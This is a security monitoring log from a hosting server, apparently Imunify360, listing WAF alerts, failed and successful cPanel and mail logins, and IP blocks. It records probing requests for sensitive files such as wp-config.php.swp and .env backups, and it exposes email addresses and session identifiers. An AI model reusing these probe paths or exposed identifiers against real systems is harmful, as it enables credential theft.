IM360 WAF: Information Disclosure Attempt in WordPress||MV:/wp-config.php.swp||RSV:8.15||T:APACHE||REQUEST_URI:/wp-config.php.swp||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.120.183
country_id: 6252001
description:
[2026-06-10 10:59:13 +0000] info [whostmgrd] 82.40.120.183 - ingertgsarl "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 92.114.93.113
country_id: 798549
domain: asiahnegrah.com.154-70-82-246.cpanel.site
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||User:qwrfphgl||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 92.114.93.113
country_id: 798549
domain: asiahnegrah.com.154-70-82-246.cpanel.site
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.15||T:APACHE||MV:wp-config.php.swp||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 92.114.93.113
country_id: 798549
domain: asiahnegrah.com.154-70-82-246.cpanel.site
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.15||T:APACHE||MV:.env.local.swp||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.120
country_id: 1880251
description:
47.128.96.120 - - [10/Jun/2026:11:00:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13158814&pdata=https%253A%252F%252Fcfpj.tg%252Fcategory%252Fnon-classe%252F%253F__im-mLcLAlHa%253D3875901866547102545%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F12%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781089201 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/category/non-classe/?__im-mLcLAlHa=3875901866547102545%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F12%2F%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F3%2F%2Fpage%2F3%2F%2Fpage%2F12%2F%2Fpage%2F12%2F" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.120


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.243.14
country_id: 1562822
description:
Jun 10 11:00:10 ns5 auth[486657]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.243.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.19.52.147
country_id: 2017370
description:
Jun 10 11:00:21 ns5 auth[486657]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.19.52.147 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
[2026-06-10 10:59:36 +0000] info [cpaneld] 185.213.83.243 - esso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user esso (has_cpuser_file failed)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 92.114.93.113
country_id: 798549
domain: asiahnegrah.com.154-70-82-246.cpanel.site
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.local.swp||User:qwrfphgl||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.146
country_id: 1880251
description:
47.128.96.146 - - [10/Jun/2026:11:01:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9789544&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fconference-interafricaine-des-marches-dassurances-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781089275 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/conference-interafricaine-des-marches-dassurances-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.146


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.57.221
country_id: 2363686
description:
2026-06-10 11:00:52 dovecot_login authenticator failed for H=([127.0.0.1]) [196.170.57.221]:39126: 535 Incorrect authentication data (set_id=documentation@dgdn-togo.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.135
country_id: 2635167
description:
[2026-06-10 11:02:04 +0000] info [cpaneld] 5.230.133.135 NEW wwayrzpl:nqN8B7ZPeJxFBATY address=5.230.133.135,app=cpaneld,creator=wwayrzpl,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.134
country_id: 1880251
description:
47.128.96.134 - - [10/Jun/2026:11:01:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7052187&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcitronnelle%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781089314 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/citronnelle/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.134


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.156
country_id: 1880251
description:
47.128.96.156 - - [10/Jun/2026:11:02:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6657434&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ffaux-cils%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781089353 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/faux-cils/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.156


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.184
country_id: 1880251
description:
47.128.96.184 - - [10/Jun/2026:11:02:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10262728&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcommission-de-luemoa%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781089346 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/commission-de-luemoa/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.184


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.88.205.112
country_id: 660013
domain: vitrinenews.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.local.bak||User:yydrdvav||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.199
country_id: 1880251
description:
47.128.96.199 - - [10/Jun/2026:11:02:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6907542&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fchloroquine%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781089359 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/chloroquine/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.199


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 100.54.40.150
country_id: 6252001
description:
[2026-06-10 11:02:59 +0000] info [cpaneld] 100.54.40.150 - AMEDEKA "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user AMEDEKA (has_cpuser_file failed)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.104.178.132
country_id: 1861060
domain: www.snbt-tg.snb.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/backend/.env.backup||User:bighostingsnbd||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.174
country_id: 1880251
description:
47.128.96.174 - - [10/Jun/2026:11:04:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13394844&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ffaux-cils%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781089443 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/faux-cils/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.174


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 129.159.32.124
country_id: 6252001
description:
[2026-06-10 11:03:35 +0000] info [whostmgrd] 129.159.32.124 - ingertgsarl "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.172
country_id: 1880251
description:
47.128.96.172 - - [10/Jun/2026:11:04:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7379605&pdata=https%253A%252F%252Fcfpj.tg%252Ftag%252Fblog%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781089439 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/tag/blog/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.172


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.88.205.112
country_id: 660013
domain: vitrinenews.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/api/.env.backup||User:yydrdvav||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.168.194.126
country_id: 2363686
description:
[2026-06-10 11:05:28 +0000] info [cpaneld] 196.168.194.126 NEW gemwjxuz:BWQxVgDys5yLq0Dn address=196.168.194.126,app=cpaneld,creator=root,method=handle_form_login,path=loadsession:gemwjxuz:6v3NtGKXltdyHg8_:create_user_session,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-10 11:04:55 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:58640: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - mouniouyi@istm.tg [06/10/2026:11:05:52 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: mouniouyi@istm.tg


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.92.93
country_id: 1512440
description:
2026-06-10 11:05:44 H=([213.230.92.93]) [213.230.92.93]:21136 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.15
country_id: 1880251
description:
47.128.96.15 - - [10/Jun/2026:11:05:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9726407&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Faugmentation-de-volume-data-togocom%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781089549 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/augmentation-de-volume-data-togocom/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.15


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.83.55.22
country_id: 6252001
description:
[2026-06-10 11:06:28 +0000] info [cpaneld] 23.83.55.22 - ingertgsarl "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.170.45.140
country_id: 2363686
description:
[2026-06-10 11:07:00 +0000] info [cpaneld] 196.170.45.140 - vtytmwmz "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.193
country_id: 1880251
description:
47.128.96.193 - - [10/Jun/2026:11:08:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935722&pdata=https%253A%252F%252Ftdn.tg%252Ffrance-vers-la-suppression-de-tout-visa-pour-de-nouvelles-entrees-de-maliens%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781089724 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/france-vers-la-suppression-de-tout-visa-pour-de-nouvelles-entrees-de-maliens/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.193


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.31
country_id: 130758
description:
Jun 10 11:09:07 ns5 auth[486657]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.31 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.102.66
country_id: 2363686
description:
[2026-06-10 11:10:53 +0000] info [webmaild] 196.170.102.66 - leo.afagbedji@togointerim.net "POST /cpsess3524174814/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.168.156.122] != Current IP Address [196.170.102.66]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.199.67.164
country_id: 1835841
description:
Jun 10 11:11:08 ns5 auth[486657]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.199.67.164 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.12
country_id: 1880251
description:
47.128.96.12 - - [10/Jun/2026:11:13:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10053788&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fsecteur-immobilier-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781090018 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/secteur-immobilier-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.12


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 162.255.197.20
country_id: 1522867
description:
2026-06-10 11:14:01 H=([0.0.0.0]) [162.255.197.20]:64255 F=<John@4452.com> rejected RCPT <info@sigm.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.176
country_id: 1880251
description:
47.128.96.176 - - [10/Jun/2026:11:14:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7194985&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Freussir-son-entretien-de-visa%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781090044 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/reussir-son-entretien-de-visa/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.176


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.184
country_id: 1880251
description:
47.128.96.184 - - [10/Jun/2026:11:14:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13134176&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-augmentation-prix-produits-petroliers-2026%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781090083 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-augmentation-prix-produits-petroliers-2026/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.184


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.70
country_id: 130758
description:
Jun 10 11:15:46 ns5 auth[486657]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.27.32.70
country_id: 6252001
description:
2026-06-10 11:17:36 dovecot_plain authenticator failed for H=syn-137-027-032-070.biz.spectrum.com (stiver) [137.27.32.70]:58338: 535 Incorrect authentication data (set_id=majed.zammouri@soroubat.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.10.224.70
country_id: 1814991
description:
Jun 10 11:18:32 ns5 auth[486657]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.10.224.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.191.224.52
country_id: 1880251
description:
Jun 10 11:18:30 ns5 auth[486657]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.191.224.52 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.159
country_id: 1880251
description:
47.128.96.159 - - [10/Jun/2026:11:18:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6736019&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Farmee-togolaise%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781090279 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/armee-togolaise/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.159


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 129.146.242.111
country_id: 6252001
description:
Jun 10 11:18:30 ns5 auth[486657]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 129.146.242.111 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.104.42.207
country_id: 2921044
description:
Jun 10 11:18:36 ns5 auth[486657]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.104.42.207 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.120
country_id: 1880251
description:
47.128.96.120 - - [10/Jun/2026:11:18:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9802648&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fconvention-collective-togocom%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781090338 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/convention-collective-togocom/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.120


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.119.154
country_id: 1880251
description:
47.128.119.154 - - [10/Jun/2026:11:19:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7315306&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D10476&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781090346 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=10476" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.119.154


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 54.162.10.139
country_id: 6252001
description:
[2026-06-10 11:21:31 +0000] info [whostmgrd] 54.162.10.139 - whmcsadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.170.76.223
country_id: 2363686
description:
[2026-06-10 11:20:41 +0000] info [cpaneld] 196.170.76.223 NEW jvrzfkho:X0oJjjjbsbxa9g5p address=196.170.76.223,app=cpaneld,creator=jvrzfkho,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.14
country_id: 2635167
description:
[2026-06-10 11:23:01 +0000] info [cpaneld] 5.230.153.14 NEW hgfdcvbnk:fTLE4D0ZuTPQ8qOl address=5.230.153.14,app=cpaneld,creator=hgfdcvbnk,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.51
country_id: 6252001
description:
205.169.39.51 - - [10/Jun/2026:11:24:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7365479&pdata=http%253A%252F%252Fcafeit.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781090697 HTTP/1.1" 302 0 cafeit.tg "http://cafeit.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.51


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.138.247.211
country_id: 1814991
description:
Jun 10 11:25:18 ns5 auth[486657]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.138.247.211 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.14
country_id: 1880251
description:
47.128.96.14 - - [10/Jun/2026:11:25:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9933983&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcafe-yoka-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781090731 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cafe-yoka-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.14


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.189
country_id: 1880251
description:
47.128.96.189 - - [10/Jun/2026:11:27:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6788505&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmediatheque-de-linstitut-francais-du-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781090823 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/mediatheque-de-linstitut-francais-du-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.189


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.41
country_id: 130758
description:
Jun 10 11:27:06 ns5 auth[486657]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.41 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.87.201.135
country_id: 3469034
description:
Jun 10 11:27:38 ns5 auth[486657]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.87.201.135 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.251.94.92
country_id: 2750405
description:
2026-06-10 11:28:39 dovecot_plain authenticator failed for H=([198.23.185.222]) [62.251.94.92]:34418: 535 Incorrect authentication data (set_id=admin@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.236.126.151
country_id: 285570
description:
2026-06-10 11:28:54 dovecot_plain authenticator failed for H=([198.23.185.222]) [188.236.126.151]:48086: 535 Incorrect authentication data (set_id=support@ucao-uut.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.123
country_id: 1880251
description:
47.128.96.123 - - [10/Jun/2026:11:29:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9934791&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Flundi-3-mai-2021-ferie-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781090952 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/lundi-3-mai-2021-ferie-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.123


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.217.88.92
country_id: 2542007
description:
2026-06-10 11:29:17 dovecot_plain authenticator failed for H=adsl196-92-88-217-196.adsl196-11.iam.net.ma ([198.23.185.222]) [196.217.88.92]:42062: 535 Incorrect authentication data (set_id=marketing@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.82.54.167
country_id: 3469034
description:
2026-06-10 11:29:34 dovecot_plain authenticator failed for H=([198.23.185.222]) [170.82.54.167]:47875: 535 Incorrect authentication data (set_id=contact@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.82.54.167
country_id: 3469034
description:
2026-06-10 11:29:41 dovecot_login authenticator failed for H=([198.23.185.222]) [170.82.54.167]:47875: 535 Incorrect authentication data (set_id=contact@ucao-uut.tg)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 102.211.168.118
country_id: 2363686
description:
Jun 10 11:29:44 ns5 pure-ftpd[697129]: (?@102.211.168.118) [INFO] New connection from 102.211.168.118


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.222.116.183
country_id: 2017370
description:
2026-06-10 11:30:07 dovecot_plain authenticator failed for H=([198.23.185.222]) [77.222.116.183]:54634: 535 Incorrect authentication data (set_id=contacto@ucao-uut.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.122.144.138
country_id: 6252001
description:
